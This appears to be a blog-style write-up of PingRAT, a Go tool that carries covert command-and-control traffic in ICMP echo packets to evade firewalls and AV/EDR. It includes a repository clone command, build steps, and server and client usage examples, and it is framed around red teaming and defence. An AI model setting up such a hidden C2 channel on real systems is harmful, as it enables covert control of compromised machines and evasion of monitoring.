PingRAT is a sophisticated tool designed for covert Command and Control (C2) communication, leveraging ICMP (Internet Control Message Protocol) payloads to bypass firewalls and evade detection by most antivirus (AV) and endpoint detection and response (EDR) solutions.

Written in Go, PingRAT is a powerful utility for penetration testers and red team operators simulating advanced attack scenarios.

Features of PingRAT

• ICMP for Command and Control: PingRAT uses ICMP, a protocol typically employed for network diagnostics, to transmit C2 traffic. This repurposing exploits the benign nature of ICMP packets, which are often allowed through firewalls.

• Undetectable by AV/EDR: By embedding communication within ICMP payloads, PingRAT avoids triggering traditional security measures.

• Written in Go: The Go programming language ensures cross-platform compatibility and high performance.

How PingRAT Works

ICMP tunneling is the core technique behind PingRAT. It embeds malicious traffic within ICMP echo requests and responses, which are commonly used for network diagnostics like the ping command.

Since ICMP traffic is often trusted and permitted through firewalls, this method allows attackers to establish a covert C2 channel between a compromised device and an external server.

Installation

To get started with PingRAT:

1.Clone the repository:

git clone https://github.com/Nemesis0U/PingRAT.git

2.Build the binaries:

go build client.go

go build server.go

Usage Instructions

PingRAT consists of two components: the server (C2 server) and the client (on the compromised device). Below are detailed usage instructions for both:

Server

The server listens for incoming ICMP-based commands from the client.

./server -h

Usage of ./server:

  -d string    Destination IP address

  -i string    Listener (virtual) Network Interface (e.g., eth0)

Example:

./server -d 192.168.1.10 -i eth0

Client

The client sends data to the C2 server using ICMP packets.

./client -h

Usage of ./client:

  -d string    Destination IP address

  -i string    (Virtual) Network Interface (e.g., eth0)

Example:

./client -d 192.168.1.10 -i eth0

Applications

PingRAT is primarily used in penetration testing and red team operations to simulate real-world attack scenarios. By using ICMP tunneling, testers can evaluate the effectiveness of firewall rules and intrusion detection systems in detecting covert C2 communications.

Limitations

While PingRAT is highly effective in bypassing many security measures, there are some challenges associated with ICMP tunneling:

• Privileges: Some operating systems require root or administrator privileges to create custom ICMP packets.

• Firewall/NAT Filtering: Stateful firewalls or NAT devices may block ICMP echo responses that do not match a prior request.

• Reliability: Compared to other tunneling methods, ICMP tunneling may face reliability issues in certain network configurations.

Ethical Considerations

PingRAT is a powerful tool intended strictly for ethical hacking and penetration testing purposes. Unauthorized use of such tools can lead to severe legal consequences.

By understanding tools like PingRAT, security professionals can better defend against similar tactics employed by malicious actors. You can learn more and Download PingRAT in GitHub.

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